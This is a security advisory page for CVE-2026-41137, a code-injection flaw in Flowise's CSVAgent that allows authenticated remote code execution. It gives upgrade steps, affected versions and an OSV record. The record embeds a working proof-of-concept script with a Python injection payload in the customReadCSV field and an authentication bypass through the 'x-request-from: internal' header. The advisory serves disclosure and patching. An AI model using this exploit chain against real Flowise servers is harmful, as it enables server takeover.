CVE-2026-41137: Flowise Remote Code Execution Vulnerability
CRITICALCVE-2026-41137 is a CRITICAL (CVSS 8.8) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Flowise libraries in the npm ecosystem. The issue involves code injection in csvagent leads to authenticated rce. Remediation is available by upgrading affected packages to version 3.1.0.
CVE-2026-41137 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-41137
To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install flowise@3.1.0
npm install flowise-components@3.1.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls flowise
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-41137, inspect your project dependencies using npm:
npm ls flowise
Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.0), your application is affected.
Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-41137 Affected Flowise Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
flowise
|
npm |
< 3.1.0
|
3.1.0
|
|
flowise-components
|
npm |
< 3.1.0
|
3.1.0
|
References
Frequently Asked Questions
What is CVE-2026-41137?
Which Flowise versions are affected?
What version fixes CVE-2026-41137?
Is flowise affected?
Is flowise-components affected?
What is the CVSS score of CVE-2026-41137?
What CWE is associated with CVE-2026-41137?
How can I check npm dependencies for CVE-2026-41137?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9wc7-mj3f-74xv",
"modified" : "2026-04-24T20:44:06Z",
"published" : "2026-04-16T21:44:15Z",
"aliases" : [ "CVE-2026-41137" ],
"summary" : "Flowise: Code Injection in CSVAgent leads to Authenticated RCE",
"details" : "### Summary\nThe CSVAgent allows providing a custom Pandas CSV read code. Due to lack of sanitization, an attacker can provide the following payload: `DataFrame({'foo': ['bar!']});import os;os.system('whoami')` that will get interpolated and executed by the server.\n\n### Details\nThe code in question that introduces the issue is in [CSVAgent.ts](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/components/nodes/agents/CSVAgent/CSVAgent.ts#L157]).\n`customReadCSVFunc` is user-controlled and gets interpolated directly without sanitization into the `code` variable which gets executed by `pyodide` one line later in: `dataframeColDict = await pyodide.runPythonAsync(code)`.\nAn authenticated attacker can issue the following chain of requests:\n\n1. Create a new chat flow by sending a `POST` request to `/api/v1/chatflows`. This will return the `chatflowId` in the response.\n2. Send a `POST` request to `/api/v1/prediction/[CHATFLOWID]` to trigger the execution of the chatflow. NOTE: the chatflow can contain only this node in order for the exploit to work.\n3. Optionally: send a `DELETE` request to `/api/v1/chatflows` to cleanup and delete the chat flow.\n\nSince `/chatflows` is not whitelisted [here](https://github.com/FlowiseAI/Flowise/blob/78674897270d58a7086c6c7ccefcc44a5fe9fbf6/packages/server/src/utils/constants.ts#L1), this mandates the user to be authenticated. But, if `FLOWISE_USERNAME` and `FLOWISE_PQSSWORD` aren't set, it's sufficient to provide the `\"x-request-from\": \"internal\"` header to bypass authentication.\n\n### PoC\nHere's the PoC code:\n```\nconst PORT = 3000;\nconst FLOWISE_HOST_URL = `http://127.0.0.1:${PORT}`;\nconst PREDICTION_URL = '/api/v1/prediction';\nconst CHATFLOWS_URL = '/api/v1/chatflows';\n\nconst flowData = JSON.parse(\"{\\\"nodes\\\":[{\\\"id\\\":\\\"csvAgent_0\\\",\\\"position\\\":{\\\"x\\\":681,\\\"y\\\":212},\\\"type\\\":\\\"customNode\\\",\\\"data\\\":{\\\"label\\\":\\\"CSV Agent\\\",\\\"name\\\":\\\"csvAgent\\\",\\\"version\\\":3,\\\"type\\\":\\\"AgentExecutor\\\",\\\"category\\\":\\\"Agents\\\",\\\"icon\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVagent.svg\\\",\\\"description\\\":\\\"Agent used to answer queries on CSV data\\\",\\\"baseClasses\\\":[\\\"AgentExecutor\\\",\\\"BaseChain\\\",\\\"Runnable\\\"],\\\"inputs\\\":{\\\"csvFile\\\":\\\"\\\",\\\"model\\\":\\\"{{openAI_0.data.instance}}\\\",\\\"systemMessagePrompt\\\":\\\"\\\",\\\"inputModeration\\\":\\\"\\\",\\\"customReadCSV\\\":\\\"DataFrame({'foo': ['bar!']});import os;os.system('whoami');\\\"},\\\"filePath\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/CSVAgent/CSVAgent.js\\\",\\\"inputAnchors\\\":[{\\\"label\\\":\\\"Language Model\\\",\\\"name\\\":\\\"model\\\",\\\"type\\\":\\\"BaseLanguageModel\\\",\\\"id\\\":\\\"csvAgent_0-input-model-BaseLanguageModel\\\"},{\\\"label\\\":\\\"Input Moderation\\\",\\\"description\\\":\\\"Detect text that could generate harmful output and prevent it from being sent to the language model\\\",\\\"name\\\":\\\"inputModeration\\\",\\\"type\\\":\\\"Moderation\\\",\\\"optional\\\":true,\\\"list\\\":true,\\\"id\\\":\\\"csvAgent_0-input-inputModeration-Moderation\\\"}],\\\"inputParams\\\":[{\\\"label\\\":\\\"Csv File\\\",\\\"name\\\":\\\"csvFile\\\",\\\"type\\\":\\\"file\\\",\\\"fileType\\\":\\\".csv\\\",\\\"id\\\":\\\"csvAgent_0-input-csvFile-file\\\"},{\\\"label\\\":\\\"System Message\\\",\\\"name\\\":\\\"systemMessagePrompt\\\",\\\"type\\\":\\\"string\\\",\\\"rows\\\":4,\\\"additionalParams\\\":true,\\\"optional\\\":true,\\\"placeholder\\\":\\\"I want you to act as a document that I am having a conversation with. Your name is \\\\\\\"AI Assistant\\\\\\\". You will provide me with answers from the given info. If the answer is not included, say exactly \\\\\\\"Hmm, I am not sure.\\\\\\\" and stop after that. Refuse to answer any question not about the info. Never break character.\\\",\\\"id\\\":\\\"csvAgent_0-input-systemMessagePrompt-string\\\"},{\\\"label\\\":\\\"Custom Pandas Read_CSV Code\\\",\\\"description\\\":\\\"Custom Pandas <a target=\\\\\\\"_blank\\\\\\\" href=\\\\\\\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.read_csv.html\\\\\\\">read_csv</a> function. Takes in an input: \\\\\\\"csv_data\\\\\\\"\\\",\\\"name\\\":\\\"customReadCSV\\\",\\\"default\\\":\\\"read_csv(csv_data)\\\",\\\"type\\\":\\\"code\\\",\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"csvAgent_0-input-customReadCSV-code\\\"}],\\\"outputs\\\":{},\\\"outputAnchors\\\":[{\\\"id\\\":\\\"csvAgent_0-output-csvAgent-AgentExecutor|BaseChain|Runnable\\\",\\\"name\\\":\\\"csvAgent\\\",\\\"label\\\":\\\"AgentExecutor\\\",\\\"description\\\":\\\"Agent used to answer queries on CSV data\\\",\\\"type\\\":\\\"AgentExecutor | BaseChain | Runnable\\\"}],\\\"id\\\":\\\"csvAgent_0\\\",\\\"selected\\\":false},\\\"width\\\":300,\\\"height\\\":464,\\\"selected\\\":true,\\\"dragging\\\":false,\\\"positionAbsolute\\\":{\\\"x\\\":681,\\\"y\\\":212}},{\\\"id\\\":\\\"openAI_0\\\",\\\"position\\\":{\\\"x\\\":238.83389711655053,\\\"y\\\":233.09962591816395},\\\"type\\\":\\\"customNode\\\",\\\"data\\\":{\\\"loadMethods\\\":{},\\\"label\\\":\\\"OpenAI\\\",\\\"name\\\":\\\"openAI\\\",\\\"version\\\":4,\\\"type\\\":\\\"OpenAI\\\",\\\"icon\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/openai.svg\\\",\\\"category\\\":\\\"LLMs\\\",\\\"description\\\":\\\"Wrapper around OpenAI large language models\\\",\\\"baseClasses\\\":[\\\"OpenAI\\\",\\\"BaseLLM\\\",\\\"BaseLanguageModel\\\",\\\"Runnable\\\"],\\\"credential\\\":\\\"\\\",\\\"inputs\\\":{\\\"cache\\\":\\\"\\\",\\\"modelName\\\":\\\"gpt-3.5-turbo-instruct\\\",\\\"temperature\\\":0.7,\\\"maxTokens\\\":\\\"\\\",\\\"topP\\\":\\\"\\\",\\\"bestOf\\\":\\\"\\\",\\\"frequencyPenalty\\\":\\\"\\\",\\\"presencePenalty\\\":\\\"\\\",\\\"batchSize\\\":\\\"\\\",\\\"timeout\\\":\\\"\\\",\\\"basepath\\\":\\\"\\\",\\\"baseOptions\\\":\\\"\\\"},\\\"filePath\\\":\\\"/home/raul-snyk/research/ai/Flowise/packages/server/node_modules/flowise-components/dist/nodes/llms/OpenAI/OpenAI.js\\\",\\\"inputAnchors\\\":[{\\\"label\\\":\\\"Cache\\\",\\\"name\\\":\\\"cache\\\",\\\"type\\\":\\\"BaseCache\\\",\\\"optional\\\":true,\\\"id\\\":\\\"openAI_0-input-cache-BaseCache\\\"}],\\\"inputParams\\\":[{\\\"label\\\":\\\"Connect Credential\\\",\\\"name\\\":\\\"credential\\\",\\\"type\\\":\\\"credential\\\",\\\"credentialNames\\\":[\\\"openAIApi\\\"],\\\"id\\\":\\\"openAI_0-input-credential-credential\\\"},{\\\"label\\\":\\\"Model Name\\\",\\\"name\\\":\\\"modelName\\\",\\\"type\\\":\\\"asyncOptions\\\",\\\"loadMethod\\\":\\\"listModels\\\",\\\"default\\\":\\\"gpt-3.5-turbo-instruct\\\",\\\"id\\\":\\\"openAI_0-input-modelName-asyncOptions\\\"},{\\\"label\\\":\\\"Temperature\\\",\\\"name\\\":\\\"temperature\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"default\\\":0.7,\\\"optional\\\":true,\\\"id\\\":\\\"openAI_0-input-temperature-number\\\"},{\\\"label\\\":\\\"Max Tokens\\\",\\\"name\\\":\\\"maxTokens\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-maxTokens-number\\\"},{\\\"label\\\":\\\"Top Probability\\\",\\\"name\\\":\\\"topP\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-topP-number\\\"},{\\\"label\\\":\\\"Best Of\\\",\\\"name\\\":\\\"bestOf\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-bestOf-number\\\"},{\\\"label\\\":\\\"Frequency Penalty\\\",\\\"name\\\":\\\"frequencyPenalty\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-frequencyPenalty-number\\\"},{\\\"label\\\":\\\"Presence Penalty\\\",\\\"name\\\":\\\"presencePenalty\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":0.1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-presencePenalty-number\\\"},{\\\"label\\\":\\\"Batch Size\\\",\\\"name\\\":\\\"batchSize\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-batchSize-number\\\"},{\\\"label\\\":\\\"Timeout\\\",\\\"name\\\":\\\"timeout\\\",\\\"type\\\":\\\"number\\\",\\\"step\\\":1,\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-timeout-number\\\"},{\\\"label\\\":\\\"BasePath\\\",\\\"name\\\":\\\"basepath\\\",\\\"type\\\":\\\"string\\\",\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-basepath-string\\\"},{\\\"label\\\":\\\"BaseOptions\\\",\\\"name\\\":\\\"baseOptions\\\",\\\"type\\\":\\\"json\\\",\\\"optional\\\":true,\\\"additionalParams\\\":true,\\\"id\\\":\\\"openAI_0-input-baseOptions-json\\\"}],\\\"outputs\\\":{},\\\"outputAnchors\\\":[{\\\"id\\\":\\\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\\\",\\\"name\\\":\\\"openAI\\\",\\\"label\\\":\\\"OpenAI\\\",\\\"description\\\":\\\"Wrapper around OpenAI large language models\\\",\\\"type\\\":\\\"OpenAI | BaseLLM | BaseLanguageModel | Runnable\\\"}],\\\"id\\\":\\\"openAI_0\\\",\\\"selected\\\":false},\\\"width\\\":300,\\\"height\\\":574,\\\"selected\\\":false,\\\"positionAbsolute\\\":{\\\"x\\\":238.83389711655053,\\\"y\\\":233.09962591816395},\\\"dragging\\\":false}],\\\"edges\\\":[{\\\"source\\\":\\\"openAI_0\\\",\\\"sourceHandle\\\":\\\"openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable\\\",\\\"target\\\":\\\"csvAgent_0\\\",\\\"targetHandle\\\":\\\"csvAgent_0-input-model-BaseLanguageModel\\\",\\\"type\\\":\\\"buttonedge\\\",\\\"id\\\":\\\"openAI_0-openAI_0-output-openAI-OpenAI|BaseLLM|BaseLanguageModel|Runnable-csvAgent_0-csvAgent_0-input-model-BaseLanguageModel\\\"}],\\\"viewport\\\":{\\\"x\\\":73.92828909845196,\\\"y\\\":-4.475777844396191,\\\"zoom\\\":0.7371346086455504}}\");\nconst payload = {\"name\":\"CSV PWN\",\"deployed\":false,\"isPublic\":false,\"flowData\":JSON.stringify(flowData),\"type\":\"CHATFLOW\"};\n\n// Create chatflow.\nlet res = await fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}`, {\n method: \"POST\",\n headers: {\n \"Content-Type\": \"application/json\",\n \"Authorization\": \"Bearer <your-api-key>\"\n //Alternative: \"x-request-from\": \"internal\"\n },\n body: JSON.stringify(payload)\n});\n\nlet resJson = await res.json();\nlet chatflowId = resJson?.id;\n\n// Trigger vuln.\nawait fetch(`${FLOWISE_HOST_URL}${PREDICTION_URL}/${chatflowId}`, {\n method: \"POST\",\n headers: {\n \"Content-Type\": \"application/json\"\n },\n body: JSON.stringify({\"question\": \"whoami?\"})\n});\n\n// Cleanup.\nawait fetch(`${FLOWISE_HOST_URL}${CHATFLOWS_URL}/${chatflowId}`, {\n method: \"DELETE\",\n headers: {\n \"Content-Type\": \"application/json\",\n \"Authorization\": \"Bearer <your-api-key>\"\n //Alternative: \"x-request-from\": \"internal\"\n }\n});\n```\n\n### Impact\nThis results in Remote Code Execution (RCE) and can allow an attacker to compromise the underlying server.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "flowise"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.0.13"
}
}, {
"package" : {
"ecosystem" : "npm",
"name" : "flowise-components"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.0.13"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9wc7-mj3f-74xv"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41137"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FlowiseAI/Flowise"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-16T21:44:15Z",
"nvd_published_at" : "2026-04-23T20:16:14Z"
}
}